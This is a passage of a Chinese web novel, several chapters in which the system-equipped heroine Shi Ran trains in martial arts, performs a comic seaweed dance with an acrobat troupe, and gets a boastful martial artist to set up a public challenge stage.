他指着铁块道: “这些铁块虽然大小不同,但重量是一样的。” “铁的材质不一样。”施燃接过刘海峰的话,弯腰一块块试了,果然重量是一样的。 刘海峰道:“听姑娘语气,姑娘是想随身携带那东西,那东西应该越小越好。” 施燃凝神瞧着那最小的一块铁,只有半个核桃大小,她想着,若自己一手握一个锻炼力气,那该多么美好。既隐蔽又方便,随时随地都可以撸铁。 施燃觉得自己口水都快流出来了。 但那么好的东西,肯定很贵。 刘海峰眼觑施燃的神情,心中有了把握。 他转身从一重重锁链的柜子里拿出一个铁盒,打开,置于施燃眼前。 里面是一片绿沙。 “这是?”施燃发问。 “这便是可以随意改变重量的秘诀了。此沙名叫碧玉海沙,是采珠女从深海之中一粒粒淘出来的。一粒沙有一钧之力,若嵌入这石中,便可在不改变形体的情况下增加重量。” “这只是增重,不是随意改变重量。”施燃皱眉。 “姑娘你看我这匣子。我这匣子材料轻薄如纸,炼器之人都将这料子叫做纸铜,它本没什么特别的,但碧玉海沙一遇见纸铜,便毫无重量了。”刘海峰憨直的脸上浮现笑容,“我们万器坊可将这海沙用纸铜做成的器笼一粒粒包裹起来,嵌入铁球之中,而这器笼是可以随意打开的——” “我就可以用过控制器笼的开合来控制重量。”施燃怔怔接过话来。 刘海峰点头,但笑不语。 太棒了,施燃一拳砸在自己掌心上。走在回客栈的路上时,她还在想着这一件事。 如果按照刘海峰的话做成杠铃,那是多么的完美。 她痴痴愣愣想着。 可是要五百两金子。 当时站在刘海峰面前的施燃,并不明白五百两金子意味着什么。 她只知道她一定要得到它。 正当她要不管不顾一口答应下来,系统在她脑海中发出尖锐爆鸣。 [你知道这个世界的计量单位吗?一个铜板一块钱,一钱等于一百个铜板一百块钱,一两银子等于十钱一千块钱,一两金子等于一百两银子十万块钱,五百两金子是五千万元,你知道你在说什么吗?五千万!你脑子被那头母驴给踢傻了吧,把你卖了你都买不起!] 施燃火热的念头被系统的话如一盆冰水浇熄了。 她支支吾吾了一会儿。 我考虑考虑,等过几天再来。只留下这句话,施燃垂丧着脑袋走出了万器坊。 回去的路上熙熙攘攘,施燃已经沉浸在了另一个世界,连路上有人撞了她,也没有丝毫反应。 她越想越火热。 五千万,她是拿不出来。但第五律应该拿的出来啊,她可以向第五律借钱。第五律看起来不像黑心资本家,应该不会向她要过高利息。 但她要多久才能还清呢…… 这般想着,施燃到了客栈,回了自己的厢房。 打开自己的包袱,里面除了衣服之外还有十五锭金子,那些金子都是从第五律身上薅的,换算过来,已经有一百五十万元了。 但还远远不够。 梨花喵喵叫,施燃魂不守舍拿起囊袋给它喂奶,揭开楔子,一头灌进了梨花的鼻子,梨花撕心裂肺的叫着,施燃连声说着对不起,将皮囊口对准了梨花的嘴。 她摸着梨花的头,长叹了一声。 “唉——” “咚——” 敲门声起。 “请进。”施燃头也不抬。 门被推开了,进来的是第五律。他瞧着梨花肚子股胀成半圆的弧度,皱眉道: “别喂了,那只小猫快胀死了。” 施燃收回手,梨花躺着,眼睛冒水,四肢散在桌上如一只大肚瘌□□。 “对不起。”施燃恹恹趴在桌上,手摸着梨 23. 他法 《舞修的我是真的能拯救世界!》全本免费阅读 “一千二百零一……” “一千二百三十一……” 伴随着浅淡石榴红的日光,施燃仍在汗流浃背举重。 “一千五……” “哐当”一声,四把红木椅落下,东倒西歪砸在地上,施燃大口喘着粗气,歪歪扭扭走到床上。 打开面板。 如意料之中,面板数据没有丝毫变化。 看来锻炼力气这件事非一日之功啊。 歪在床上休息半晌,施燃扒拉起来去桌上倒了杯茶,回味甘甜,不愧是好客栈,茶就是好,施燃一咕咚灌下了茶。 茶一线流入施燃的喉咙。 她琢磨着,今日该去做什么好呢?施燃拍拍自己的腿,不痛,既然腿已经好的差不多了,她应该去练习海草舞了。 说干就干。 施燃梳洗了一番,推开门就去找第五律,第五律正出门,两人在第五律厢房门口撞上。 施燃知道他今日要去青蛇武馆找孙平乐,便央求第五律把她带上。 第五律低头看着施燃的腿,“你腿好了?” 施燃连连点头。 第五律站在原地一动不动,眉头紧皱,“昨日还伤着。” “真好了!”施燃猛拍自己胸脯,“我自己的身体我还不知道吗?” 第五律瞥了一眼施燃,转身大步离开,搁下一句话,“随你的便。”只给施燃留下一个衣袂飘飘的背影。 施燃紧随其后,忙慌慌就跟上去了。 时辰还早,路上也没啥行人,只有几个卖早点的摊贩。 施燃在热气腾腾的包子铺前点了十个芽菜包,装了两个油纸袋,急匆匆跟着前面快看不见背影的第五律。 “等等我。” 第五律脚步淡了下来。 施燃嚷着,待快踩到第五律的脚后跟时,刹住了车,将装有六个芽菜包的油纸袋凑到第五律眼前。 “不吃早饭对胃不好。” 第五律拿出丝绸帕子,将右手裹了,接过油纸袋,小口咬着里面的包子。 他眉头一皱—— 施燃就知道他要做什么。 她瞪着他,“尊贵的第五少爷,不许将包子吐出来,更不许将包子吐在地上。” 第五律心虚,脸上不知要摆上什么表情应对施燃,便木木然地将舌尖油腻腻的白面吞了下去,然后两口一个,一共十二口,片刻的功夫,六个芽菜包就没了。 施燃小口吃着,嘴里不时发出,“好烫好烫”的声音,就四个包子,吃了一刻钟。 当她咽下最后一口白面时,第五律已经站定在了青蛇武馆门口。 施燃调笑:“哎呀,你居然没走错路。” 第五律扭头冷淡淡瞧着施燃,“昨儿我走了二十多次。” 走了二十多次才找到啊。 施燃抿着唇,心里发笑,嘴上却夸着第五少爷真厉害。 “只走了二十次就记住路了,第五少爷记性真好。” 第五律抿嘴一笑。 两旁的护卫见着第五律,皆怒目以待。第五律往前靠一步,护卫抖着手亮出剑来,他冷哼一声,“手下败将,昨儿你们还没挨够打吗?” 豆大的汗珠从护卫额头上滑过,但依旧不肯收手。 施燃扭身跨过第五律,站到第五律身前。 第五律垂眸,不解问道:“你做什么。” 施燃立即就跳起了海草舞。 “海草海草~在浪花里随风飘扬~海草海草~” 在场所有人都将目光聚集到了施燃身上。 护卫如临大敌,后退半步,抽出剑,将剑尖对准施燃,“你到底想要做什么!” 施燃笑容满面,双手如海草般扭动。 “你看我跳得快乐吗?你看得开心吗?” 刚才剑拔弩张的氛围在施燃这让人摸不着头脑的举动中彻底消散了。第五律脸僵着,但好在已经习惯了,他什么话都没说,胸前绞手,安安静静等待施燃跳完。 “~乐逍遥~” 对于在场所有人来说,那是多么漫长的两分钟啊。 施燃停下来后,看着护卫脸上的神情是三分古怪三分狐疑三分不解和一分震惊,就知道她这次跳舞效果不好。 “让开吧。”第五律又一次重复了他的话,但奇怪的是,这一次所有人都没有了打斗的欲望,护卫收了剑,用那种看白痴的神情将施燃二人放了进去。 入眼便是一个极为亮堂的,没有丝毫杂物的中厅。 有数十个穿着弟子服的男子随意走动。有人偶然回望,见第五律来了,拉着身旁的人窃窃私语,然后脚步匆匆,从中厅到后堂去了。 片刻,后堂就出来一精瘦的老人,脚步轻盈,身行挺拔,他抱拳道: “昨日少侠才来踢了馆,大获全胜,今日少侠再来,有何贵干。” 第五律道:“我找孙平乐。” 老人眯缝着眼,“他病了,再说平乐武功并不如我,昨日少侠已赢了我,何必来找平乐的麻烦。” 第五律声调渐冷,“昨日病,今日病,安知他不是怯懦避战。” “平乐得罪少侠了?”老人问着。 第五律摇摇头。 “那为何指名道姓,如此执着让平乐出来呢?”老人又问。 第五律又摇摇头。 “我不知道。” “但我为何要知道。” “你让他出来就是。” 老人指着第五律鼻子说着“你……你……你……”最终还是什么话也说不出来。 此时平地一声粗犷的声音响起,“馆主——”施燃觉得耳熟,扭头回望,“孙公子。” 孙平乐一面朝着四周拱手一面走了进来,见着施燃嘴角笑意更甚,“施姑娘,我们两天没见了。” 施燃回道:“听说你生病了,你现在好了吗?” 孙平乐摸着自己脑袋,“我刚想跟施姑娘说这件事,当日那人的银针——”他话还未讲完,第五律截过他的话头,“你终于出来了。” 孙平乐脸上出现憨厚傻愣的神情,“这位是……” 青蛇武馆馆主出言: < 24. 对峙 《舞修的我是真的能拯救世界!》全本免费阅读 第五律找到施燃的时候,日头正热,烧得人喉咙发干。他找了施燃一个时辰,从出了青蛇武馆开始,他一直木愣愣地问行人是否见过一个眼珠子和睫毛极黑的姑娘。 对于这种模糊且抽象的描述,路人当然不知道。 他一时间茫然无措,人群在他面前走走停停,他望着人群的间隙,一时间不知道去哪儿。然后便如无头苍蝇般走着,喧闹都与他无关,那奇怪的愤怒走着走着就消失了,取而代之的是一片冰凉,再慢慢冷然。 越来越热。 人像是置于正在升火的蒸笼中。 汗珠慢慢冒了出来,顺着脸上的弧度流到第五律的眼旁,他眼睛眨巴着,眼珠前像织了一片水网,所有的东西都模糊不清,眼睛有一些疼。 第五律手伸进怀里,摸到一个扁平冰凉的盒子,正当他要从里面拿出丝绸帕子时,他听到了熟悉的声音。 从无数嘈杂的声音中,他就是能听得出来那个女声的主人是楚施燃。 第五律停下脚步。 没有立即去找施燃。 他远远望着她,站在街头卖艺人之中,人群都围着那群卖艺人,拍手、叫好,扔下一枚枚铜钱。 但她身边还有一个人,是孙平乐,他的手下败将。 他们在说笑着什么。 他心中的愤怒又燃烧起来,只是这次愤怒是对着孙平乐的。 第五律等了许久才等到孙平乐离开楚施燃。 他跟了上去。 在一条清幽无人的青石板小巷里,第五律叫住了孙平乐。 孙平乐回转头,见是第五律,心中疑惑,又有些紧张。 “第五少侠,有事吗?” “你为什么去找楚施燃。”第五律神色冰冷。 “楚……施燃?”孙平乐琢磨了一会儿,“是指的施姑娘对吧。” 他笑了笑,“那日肖回对我使出银针,我初时并无大碍,但过了一日,便浑身酸疼。大夫说我这中了毒,虽无性命之忧,要受些苦楚,我想着施姑娘的驴也中了银针,便给她送去解药。” 小巷两旁的石榴花飘飘扬扬落下,半数落在石板上。 “输了,就不要去找她。” 第五律垂眸盯着孙平乐身后那些橘色花瓣。 孙平乐哂笑,“第五少侠,你说笑了。为何我输了就不能去找施姑娘。” 第五律疑惑,“你既然输了,为何敢去找她?” “这有什么关系。”孙平乐非常奇怪,“为何输了就不敢去找施姑娘。” 他摸着自己的头,“我不去找施姑娘,怎么跟她熟悉,怎么去追求她。” 第五律拔出剑来,“你再去找她,休怪我不客气。” 他瞧着孙平乐的脸,觉得孙平乐脸上的每一寸都是那么恶心。 真奇怪,为何他对这个人泛起了杀意。 孙平乐眼睛微眯,神色冷了下来,他摸着自己腰间的伤,微妙察觉出一丝不对劲来。 他问:“你跟施姑娘是什么关系?施姑娘说她无夫也无婚约。你是她的哥哥还是弟弟?”孙平乐思索着,“但你姓第五啊……” “她是我的丫鬟。” 剑刃的白影反射到第五律脸上,让他脸上一半昏暗一半惨白。 孙平乐松了一口气。 他又笑起来,“那我给施姑娘赎身,你花了多少钱买的她,我出十倍的银子。让她自由自在的……不用给别人为奴为婢——” 孙平乐话还没说完,一道白光从他下颌反射到他眼睛,他瞳孔收缩。 第五律走过他身旁,一滴血从剑尖滑落,滴到石榴花瓣上,他垂眸,抖了抖剑尖,“留你一命,你最好离楚施燃远一点。” 他踩在零零碎碎的花瓣和晃动的光斑上,越走越远,背影被小巷的黑暗湮没,既而无影无踪。 孙平乐哆嗦着手摸向自己脖间的一线红,轰然瘫坐在青石板上,他张开黑洞洞的嘴,却发现干裂的喉管撕扯不出一丁点声音,扶住满是青苔的墙,挪了出去。 …… “下次再来啊!”施燃满面红光跟围观的人打着招呼,待人群散尽,跟着杂技艺人收拾桌椅板凳、锣鼓、碟子、碗之类的东西。 她将板凳放到驴车上,驴车上面已经有捆了些许杂物了。 她一面稳了稳上面的东西,一面打开面板查看海藻舞熟练度,已经30了。 不愧是大城市,人多,机会就多。 转碟子的女杂技艺人收拾好戏服,扔在驴车上。施燃见了,连忙凑过去问着: “你们杂技班子明天还来这里吗?” “不了。”女艺人坐上驴车,“明日我们去这儿最大的客栈,清风客栈,在这儿表演了十来天,人都看腻了。” 清风客栈,那不是她正住的地方吗? 施燃心头一喜,“那我明日还来。” 她在杂技表演中场跳了几次海藻舞,舞蹈效果非常好,大家都笑得前仰后合。施燃决定在城市这段时间,暂时跟着这杂技班子。 女艺人眉头一皱,“你那几个怪动作看着可笑,但没有真本事,别人一看就学了去。你若真想吃杂技这碗饭,我劝你找个老师傅勤学苦练。” 施燃笑笑,“我就是希望你们能给我一个面向众人的机会。你们班长不也答应我了吗?” 女艺人摇摇头,看着施燃如花似玉的脸,有些话她不方便说出口。 这姑娘,真当别人喜欢看她那几个怪动作,都是来看美人的啊。 班长也是看在她这脸能吸引人的份上,才答应她的。 杂技班子的众人都收拾好了东西,爬上了驴车,车轱辘咯吱作响,腾起一团团沙雾,扑得施燃满脸是灰。 施燃摆摆手。 “明天见。” 陡然耳边炸起一道冷冰冰的声音。 “怎么了,很舍不得吗?” 施燃一惊,侧过头,见到来人满脸欣喜,“第五少爷,你怎么来了,你不是在比武吗?” “我正准备去找你呢。” 第五律低头瞧着施燃,“找我?” “对啊!”施燃忙不迭点头。 第五律冷笑一声,“你看到比武的结果了吗?” 施燃笑嘻嘻说着,“我才不用看到结果。” 第五律连冷笑都发不出了。 “因为我知道少爷你一定会赢的,对吧,第五少爷。” 第五律抿唇,怔怔站在那儿,好一会儿才撇头道: “走了,回客栈。” 说完大步转身离开。 施燃笑着跟了过去。 时值正午,但客栈里只有零零星星几个人,这儿的东西贵,不是一般人能消费。施燃点了几道菜。上菜后,第五律难得没有动筷子。 施燃埋头苦吃,她昨晚通宵举凳子,今天又跳了一上午,又累又饿,顾不得第五律许多。 “孙平乐跟你说了什么?”第五律紧盯着施燃那乌黑的头颅,突然发出提问。 “啊?”施燃从碗里抬起头。 “他给了我治驴腿的药,说害怕我上药被驴踢,说晚上过来帮我给驴腿上药。”话说完后,施燃才后知后觉反应过来,狐疑盯着第五律,问: “你怎么知道的?你看见孙公子跟我说话了。” 第五律捡起筷子,低下头,“恰好瞧见了。” 施燃不作他想。 第五律又道:“吃完饭,我开始教你武功。” “好啊。”施燃没意见,觉得学武功这件事情,越快越好。 她加快了吃饭速度,不过片刻,便放下了饭碗,拉扯着第五律上了二楼厢房。转身关上厢房门后,凑到第五律跟前小声问着: “你有什么绝世武功要教给我。” 第五律愣怔了一会儿,疑惑瞧着施燃,“你先打一套拳。” 施燃依言在第五律跟前“稀里哗啦”打了一套王八拳。打完扭头兴奋看着第五律,一副求评价的表情。 第五律眉头越皱越紧。 “你从未习过武?” 施燃点头。 “你的年龄是?” “十八。” “老了。”第五律叹道。 这话听得施燃不乐意了,她正值芳龄,是全身都激荡着热血的年纪,身上还一天天有使不完牛劲,哪里就老了。 第五律又道:“你下 25. 通缉令 《舞修的我是真的能拯救世界!》全本免费阅读 一大早就雾蒙蒙的,整个世界像被人套上了一层磨砂玻璃。 街道小旁的小贩都没出摊,只有零星几个店铺开着。 由石板铺就的道上,数个皂衣红边的监城司差役默不作声走着,不过片刻,他们的衣服就带着软绵绵的湿润了。 行了两里路的监城司差役在一红木告示栏处停下脚步,从怀里掏出通缉令,漫不经心贴了上去,然后离开,消失在浓浓的晨雾之中。 那两张通缉令上画了一男一女,两副面孔均无特色,只有那男子耳朵上有三个耳环。画像下面均有着如下字文: 此人于武馆大比中残杀绝世武馆、白虎武馆、麒麟武馆等一干人。 通缉等级:九级 赏金数额:一两白银 监城司发 浓雾侵蚀着这两张通缉令,两人的轮廓淅淅沥沥地往下滑,逐渐不成人形。 …… 施燃一大早醒来,果然如第五律所言,腿脚酸疼。她从床上起来,一撅一拐走到窗边,推开窗户,见外边浓雾一片,白茫茫的,寂寥无人,推测今早那杂技班子是不来了,便下楼去吃早饭。 第五律已经在楼下,面前还有一碗粥。 施燃坐到第五律面前,也朝小二要了一碗粥,然后朝第五律打了招呼。 “这么早啊,第五少爷。” 第五律抬起头,拿出丝绸帕子擦拭他的嘴角,“我已经给驴子上好了药。” 他顿了半晌又道:“孙平乐没有来。”眼睛直直盯着施燃。 小二将粥放到了施燃跟前。 施燃拿起勺子吃了一口。 “没来就没来吧,兴许有其他事情耽搁了。” 第五律低头,“他,不守信用。此人不可深交。” “就是爽了约,还没到不守信用的程度,再说了,我也没想跟他深交啊。”施燃咽下一口粥。 第五律抬起头,又道: “我今日要去找其他武馆比试。” “加油!”施燃道。 两人之间沉默了半晌,第五律又重复了刚才的话。 施燃狐疑看着第五律,又说了一次加油。 好半天,第五律才发问:“你不去吗?” 施燃想到跟着第五律对练习海藻舞毫无帮助,而且还会耽搁基本功修炼,便断然说了“不去”。 第五律垂下眼眸,“我找不到路。” “这还不好办。”施燃笑着,“你随便去路上找本地人,给点银子,让他全程陪着你去,就不会迷路了。说不定人对这儿的武馆门清,还可以给你提供情报,为你出谋划策呢。” “你不跟着我,你去哪儿呢?”第五律皱眉发问。 “我有自己的事情要干啊。”施燃放下勺子,掰着手指头数,“练海藻舞啊,还有练习基本功啊,也许还要出去做好人好事。” “你是我的丫鬟。”第五律冷了脸,“丫鬟就应该一直跟着主人。” 施燃见此立即转变话术,脸上浮现颓丧之气,“对不起,少爷,我说谎了。” “我其实根本没那么多事可干,我就是腿疼,去不了。”她缩着身子,对着第五律眨巴眼睛。 “我昨晚忘了你的叮嘱揉腿,今天腿疼得厉害,哪儿也去不了,又害怕说实话被你骂,所以我撒谎了。但我心里是很想去的。” 第五律立即叫了小二去买药。 又皱眉冷声道:“你下次不能这样了。” “嗯。”施燃抿嘴点头,一副可怜兮兮的样子。然后低头喝粥。 第五律瞧了一会儿,才起身道:“那我走了。” 施燃摆摆手,“再见。” 第五律走了两步,又回头瞧了一眼,才走出客栈门。 施燃喝完粥就回了厢房。 她揉了一会儿腿,便开始练习基本功,蹲了一个时辰马步,又举了一个时辰的红木凳子。 浓雾渐渐散去,各家各户都出了门,整座城市又开始嘈杂起来。 “来,放这儿,马上就中午了,就有人来了。”随后是一阵重物砸地的声音。 施燃听到这声音,内心一喜,放下凳子忙跑到窗前一看,那不是昨天的杂技班子吗。她跑下了楼,帮杂技班子的人整理物什。 有人问她今天中场还要跳那奇奇怪怪的舞吗? 施燃笑着点了点头。 杂技班子的众人都哄笑起来。 及至午时,客栈门前人多了起来。见着这杂技班子,有人停住了脚,不过片刻,人群逐渐将杂技班子围住。 杂技班子开始表演,胸口碎大石、转碟子、舞狮、玩蟒蛇,看得人拍手不迭,惊叫不止。中场休息,人都散了铜钱,施燃上场去跳了海草舞,人们稀稀落落叫了两声好,都盯着施燃的脸看。 施燃不在乎这些,她只在乎她的熟练度。 及至尾声,有一穿着富贵、大腹便便的中年男人就跳出来。 说了一些施燃在电视剧里常见的调戏妇女的话。 还想要动手动脚。 施燃心想来的正好,她刚好对自己的武力值做个测试。便一拳打到这男人肚子上,打得他中午吃的海参都吐了出来。 中年男人“哎呦”几声,招了招手,随行的四个仆役就朝施燃扑过去。 “可别打伤了她的脸。”那男人还叫着。 施燃冷笑一声,躲过那几个男人的花拳绣腿,期间虽费了些功夫,但最终还是把四个仆役打得鼻青脸肿,躺在地上连连喊疼。 她走到中年男人旁边,踩在男人的头上,骂道:“本姑奶奶警告你,你以后再这样欺负人,我就把你大卸八块,扔到银河里去喂鱼。” 施燃又踹了那男人一脚,“你发誓,若以后再干这种事,就全家死绝。” “我……我……”中年男人支支吾吾说不来。施燃又狠狠踹了他一脚,他才含泪发出誓言。 施燃大获全胜,心中惬意,又踹了中年男人一脚,双手叉腰,“好了,你可以带着你的狗腿子们圆润地离开了。” 心里想着,啊,真是俗套且教科书级别的英雄救美啊,不过美人是她,英雄也是她。 五个人立刻连滚带爬离开了。 惹得看杂技的众人都捂嘴偷笑起来,那几人走远之后,有人叫了一声好。 [检测到宿主有效避免十六个人遭这人毒手,获得好人好事大礼包,现已发放。]系统的声音在施燃脑海中响起。 施燃想不到还有意外收获,更加快乐,趁此雅兴,返场又去跳海藻舞。 这次众人都不盯着施燃的脸了,认真看着她的肢体动作,觉得每一次浮动都大有意趣,竟笑了出来。 然后慷慨解囊,让杂技班子赚得盆满钵满。 跳完舞,施燃下了场。不 26. 灵敏 《舞修的我是真的能拯救世界!》全本免费阅读 施燃在杂技班子里待了多久,第五律就立在浓荫下有多久。 看着施燃对那群人摆手,一面嘴上说着什么“拜拜”,一面转身回客栈,他也就跟了回去。 他并未立即去找施燃,他叫住小二,扔了一锭银子给小二,问附近是否有其他客栈,小二向他介绍了几家,他皱眉,觉得这些客栈甚为粗陋,又问有没有比这还好的客栈。 小二思考一阵儿,有些踌躇道: “有一家酒楼,但这酒楼都是城里官宦之家才去的,以贵客的身份,小人不知道你是否能进。” 第五律脸上神色无丝毫变化,“你带我去。” …… “咚——”敲门声响起。 “请进。” 门轴转动出了叽咕声,第五律看见施燃两只手拿着过长且纤细的木枝,木枝上还有两个白盘在飞速旋转,施燃的眼珠子跟着这白盘都快转不过来了。 “你这是做什么。”第五律问道。 施燃全部精力放在了那白盘子上,并未回应。 第五律眉头紧皱,嘴角下撇。 等了片刻,终于“哐当”一声,那白盘子被甩出木枝,砸在地上碎了一地。 施燃捡着白盘子的碎片,这才回答第五律的问题,“这是莲姐姐刚才教我的杂技转碟子,我觉得有意思极了,回来我就开始练习了。” 她抬起头笑着问第五律: “我刚刚转得好吗?” 第五律又问:“莲姐姐是谁?” “就是杂技班子的那个女艺人,你应该看见过,她跟我讲——” “你跟她很熟吗?” “就刚刚跟她开始熟起来,她说明天还要——” “明天我们不住这个客栈了。” “啊……”施燃指尖被碎片刺破,红一线溢了出来,她皱眉问:“为什么?” 第五律拿出丝绸帕子,扔给了施燃,“先把手上的血擦擦。” 施燃接过帕子,裹着受伤的手指,抬头问:“我们不是住的好好的吗?”血逐渐洇湿手帕,一朵红牡丹在上面绽放。 第五律转身下楼问客栈老板要了金疮药,回来扔给施燃,“你先把药上了。” 施燃扯开手帕,倒上金疮药,“嘶——”她倒吸一口气,“真疼。” 第五律脸上冷了下来。 “以后别碰那些碎片。” 施燃点头敷衍着第五律,并未把这话往心里去,“你还没说为什么?” “我不喜欢在这个客栈住着,我已经找到更好的了。” “为什么不喜欢在这个客栈住啊?”施燃还想挣扎一下,问清原因然后对第五律进行劝说。 “没有为什么。”第五律斩钉截铁,“我意已决。你不必多言。” “唉——”施燃叹了口气,“那好吧。” 虽然以后找莲姐姐他们会多跑一点路,麻烦一点,但毕竟这钱都是第五律出的,第五律想去哪个客栈住,就去哪个客栈住,她也没办法。 然后又听第五律催促道:“你快把东西收拾好。” “现在?”施燃惊呼,瞪圆眼睛,“不是说明吗?” 第五律眼珠不错地盯着施燃,“不,就现在。” 拖拖拉拉收拾好东西后,施燃跟着第五律出了门。梨花身形大了些,那锦囊装不住它了,它便被施燃装在包袱里,探出一颗毛绒绒的头。 施燃一路撸着梨花的头,一路弯弯绕绕地进了一清幽之处,再走进些,遍地鲜花异草,清泉流响。施燃突然就拘谨了起来,她拉着第五律的袖子,声音小之又小。 “这地方,怎么可能是客栈呢?” 施燃问着,猛得就瞥见林木掩映之间一红角飞檐。 带他们进入此处的小二停下脚步,“到这儿就不是小人能进去的了。” 第五律摆摆手,小二便离开了。 他扭头,垂眸瞧着施燃,“你不用管那么多,跟着我进去就行了。” 第五律带着施燃,两人一前一后便进去了。 有两个风姿绰约的美人笑着将他们迎进了酒楼,递给他们两个牌子。 “客人们凭着这牌子就可进厢房。” 另一美人接道:“客人千万记得,你们的厢房是在一楼,不可误入其他楼层。得罪了其他贵人便不好了。”说完,两人屈膝行了一礼,施施然退下。 施燃瞧着这牌子,上面画了这客栈的地图,还写有厢房的位置。 施燃带着第五律找到两人的厢房。 就在两人都要进门之际,施燃突然想起什么,她扭头叫住了第五律,“我下盘已经很稳了,你要检查一下吗?” “这才几天?”第五律皱眉。 施燃双手叉腰,“我是个天才,天才当然不能以常理揣度。” 她可是有三倍经验卡的! 施燃拉着第五律进了自己厢房。 立刻蹲起了马步。 第五律解下腰间的剑,稍微用了些力气,用剑敲打施燃的腿踝,施燃纹丝不动,他瞧了一眼施燃,用力抽打小腿,施燃虽皱着眉,但依然纹丝不动。 他就这样观察了施燃半个时辰,施燃如被什么定住了般,一丝一毫抖动也无。 他终于开了口,“起来吧。” 施燃笑嘻嘻起了身,如没事人般坐在椅子上,“可以教我武功了吧?” 第五律坐下,“可以先教你手上功夫了。” “你力气比起一般人大,倒不用练习力道了,这倒省了不少时间。” 施燃殷切地望着第五律。 第五律抿了抿唇,“你得先灵敏些。” 施燃双拳在空中乱打,“我这还不够灵敏些?” 第五律摇摇头,瞬间暴起,一拳如箭般射到施燃面前,施燃呆呆怔怔的,根本没有反应过来。 “你瞧,你连躲的意识都没有,木讷极了。”第五律语气冰冷。 可他那停在施燃跟前的拳头,被施燃双手包住。 施燃双眼亮晶晶的,双手裹得越发紧,语气歆羡:“少爷,教教我吧。” 第五律撇脸扯手,嚷道:“你先把手放开。” “你先说教我变得灵敏。” “放开!楚施燃!”第五律眉头紧促。 “你放开,我就教你。” 施燃放开了手,第五律冷哼一声,扭了扭自己的手脖子,“你打我。” “啊?” 第五律不耐烦,“我让你打我!” 施燃一拳朝第五律头上打去,第五律轻轻巧巧脑袋稍偏就躲了过去,还未等施燃反应过来,第五律已经近了她的身,以其人之道还治其人之身,一拳打向施燃的脑袋。 “哐”的一声。 施燃只觉得脑浆晃了晃,整个人如踩在棉花上,稳不住身子,一头就栽在地上,脑袋内还在轰隆响。 一双牛皮靴停在施燃眼前。 施燃顺着皮靴瞧了上去,只瞧见一道锋利的下颌线,她强忍着疼叫一声“第五律”。 第五律的神情晦暗不明,他道: “若我是你的敌人,你现在就死了。” “你只要对别人出了手,就要做好别人还手的准备,若是躲不过第一次还手,就要有躲过第二次还手的反应与余力。” “生死之间,你以为别人会停下来,给你回手的机会吗。” “能对敌人的手段随机应变,这才叫灵敏。” 第五律冷冷道。 施燃扶着桌子站起来,有气无力回了一声,“多谢教导。” 第五律道:“我收了气力,你应 27. 台上 《舞修的我是真的能拯救世界!》全本免费阅读 一小碟不见白茎、细细剥好的石榴籽,一小碗五色馄饨、一小碟鲈鱼脍、凉拌荠菜,这便是施燃今日的晚餐。侍女将这些东西摆到施燃面前,点头颔首便离开了,及至门槛,那侍女转头问着: “贵客,你需要药吗?” 施燃摸着自己的脸,道了谢后,笑着说不要,自己有。 侍女点头离开,替施燃关好了门。 施燃瞅着一旁炫猫粮的梨花,揪了揪它的后颈,“我好歹也是你的主人,你还真下得了手。” 她脸上全是红条条的抓痕。 不过这也怪施燃自己,逗弄梨花跟她训了半个时辰的灵敏度,次次没躲过梨花的攻击,到最后却一口猫粮都没给梨花。 惹得梨花喵声冲天,扑上施燃的脸就疯狂乱抓,从脸上扒下来时,就已经变成现在这副模样了。 这才把猫粮倒了出来。 她上了药后开始吃饭。拿起筷子,拈了几筷子鲈鱼脍,又吃了几口馄饨,顿觉舒坦得不行。 第五律说的是对的,她连梨花的攻击都躲不开,到了见真章的时候,不是死路一条就是死路一条。 “喵喵喵——”施燃扭头冲梨花叫了几声,“小梨花,吃了猫粮,以后你就是我的陪练了,知道吗?” 吃得正香时,门外又响起了敲门声。 施燃去开了门。 一瞧,果真是第五律。 “你吃饭了吗?”施燃招呼着。 第五律盯着施燃的脸,“你怎么了。” 他眼光游移到在地上吃猫粮的梨花,“那只小麻烦抓的。” “是我去招惹它的,我已经上了药。”施燃回着,转身回到座位上。 第五律跟了过去。 施燃问:“你今天比武怎么样?”还未等第五律回答,她就道: “一定赢了对不对。” 第五律看着施燃,点了点头。 施燃一拍双手,“我就知道少爷一定会赢的。” 第五律:“我今天比了四家,都赢了。我问过小二,这城里没有其他有实力的武馆了,所以我们明后两天,就该准备走了。” 不行,施燃在她心里断然否决了第五律的提议。 她还要等她的特制杠铃,这还没几天呢,她还有好几十天的日子要等呢。 这城里的武馆怎么这么不顶用呢,区区几十天都拖不住。 施燃埋头,眼睛滴溜溜转着,大脑飞速旋转,要想个办法啊……施燃抿着筷子,沉浸在自己的思绪里,又想着该怎么忽悠第五律。 “楚施燃……楚施燃……” “啊?”施燃猛得被第五律唤回神来。 “你怎么了?” “我……我怎么了……”施燃歪着脖子,“是……是这样的!” 施燃话如连线的珠子般落了出来,“第五律少爷,我总觉得你去武馆比武的方式有问题,你这样是遇不见厉害的人。” 第五律点头:“那些人的确一点都不厉害。” “我好早就想说这件事情了,但又怕第五少爷你嫌我多嘴,会骂我忘了自己丫鬟的身份,所以就一直不敢说出心里话。”施燃抬眼望着第五律,一刹那的功夫又低下了头,她害怕自己脸上绷不住,被第五律看出端倪。 “有一句古话叫你若盛开,蝴蝶自来。” “这什么意思?”第五律思索着。 “这意思是,少爷与其奔波去找人,不如让人来找你。” “你瞧,莲姐姐他们杂技班子一表演,就会有多少人来。你也去敲锣打鼓拉个武台,展现出少爷你过于常人的能力,自然会有人来找你比武的。” “真的吗?”第五律半信半疑。 施燃连连点头,“这城市里每天来来往往这么多人,一定会有厉害的,只不过他们隐匿其间不愿意出来而已,鱼龙混杂,你要做的当然就是要把龙给挑出来。” 第五律思索半晌,“你说的有道理。”又问,“那具体要怎么做呢?” 施燃脖子拉长,向后拗过去,转了一圈后道:“以名诱之,以利惑之,以诚动之。” 见第五律还是懵懵懂懂的状态,施燃弯身,将手搭在桌上,“且容我细细与你道来……” …… 酷烈的日头泛着白刺刺的光。 施燃坐在浓密的树荫下,摇着蒲扇,喝着酸梅汤,望着远处第五律忙碌的身影。 她抹了抹额头浸出的汗珠,感叹着真热啊。 不一会儿,第五律拿着木板到施燃跟前,“这东西放在哪里。” “铺到你架起来的支杆上,铺完了你这台子就建成了。” 见第五律一动不动,施燃将放在石板上的酸梅汤挑了一碗递给他,“快喝,喝完了继续干。” 第五律接过一饮而尽,转身回去就接着干活。 等到台子搭成,已经过了一个时辰。 施燃将第五律拉上台子,两人零零落落站在台上。炽白的日光射得人展不开眼皮,藏在绿荫中的知了喧嚣着。 第五律呆呆看着施燃:“没人。” 施燃双眼无神地看着第五律,将挂在手臂上的锣用鼓狠狠一敲。 